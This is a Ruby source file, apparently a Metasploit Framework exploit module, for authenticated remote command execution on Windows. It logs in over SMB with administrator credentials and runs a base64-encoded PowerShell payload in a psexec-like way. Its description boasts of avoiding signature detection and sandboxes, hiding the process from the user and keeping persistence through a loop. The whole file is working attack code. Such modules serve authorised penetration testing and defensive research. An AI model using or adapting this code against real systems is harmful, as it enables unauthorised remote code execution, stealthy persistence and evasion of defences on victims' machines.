108 lines
4.0 KiB
Ruby
108 lines
4.0 KiB
Ruby
# -*- coding: binary -*-
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/exploit/powershell'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking
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# Exploit mixins should be called first
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include Msf::Exploit::Remote::SMB::Psexec
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include Msf::Exploit::Powershell
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
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'Description' => %q{
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This module uses a valid administrator username and password to execute a powershell
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payload using a similar technique to the "psexec" utility provided by SysInternals. The
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payload is encoded in base64 and executed from the commandline using the -encodedcommand
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flag. Using this method, the payload is never written to disk, and given that each payload
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is unique, is less prone to signature based detection. Since executing shellcode in .NET
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requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
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must match that of the payload. Lastly, a persist option is provided to execute the payload
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in a while loop in order to maintain a form of persistence. In the event of a sandbox
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observing PSH execution, a delay and other obfuscation may be added to avoid detection.
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In order to avoid interactive process notifications for the current user, the psh payload has
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been reduced in size and wrapped in a powershell invocation which hides the process entirely.
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},
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'Author' => [
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'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
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'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
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],
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'License' => MSF_LICENSE,
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'WfsDelay' => 10,
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'EXITFUNC' => 'thread'
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},
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'Payload' =>
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{
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'Space' => 8192,
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'DisableNops' => true,
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'StackAdjustment' => -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
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[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 01 1999',
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'References' => [
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[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
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[ 'OSVDB', '3106'],
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[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
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[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
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[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
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]
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))
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end
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def exploit
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command = cmd_psh_payload(payload.encoded)
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if datastore['PERSIST'] and not datastore['DisablePayloadHandler']
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print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.")
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end
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if datastore['RUN_WOW64'] and target_arch.first == "x86_64"
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fail_with(Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
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end
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# Try and authenticate with given credentials
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if connect
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begin
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smb_login
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rescue StandardError => autherror
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disconnect
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fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
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end
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# Execute the powershell command
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print_status("#{peer} - Executing the payload...")
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begin
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return psexec(command)
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rescue StandardError => exec_command_error
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disconnect
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fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
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end
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end
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end
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def peer
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return "#{rhost}:#{rport}"
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end
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end
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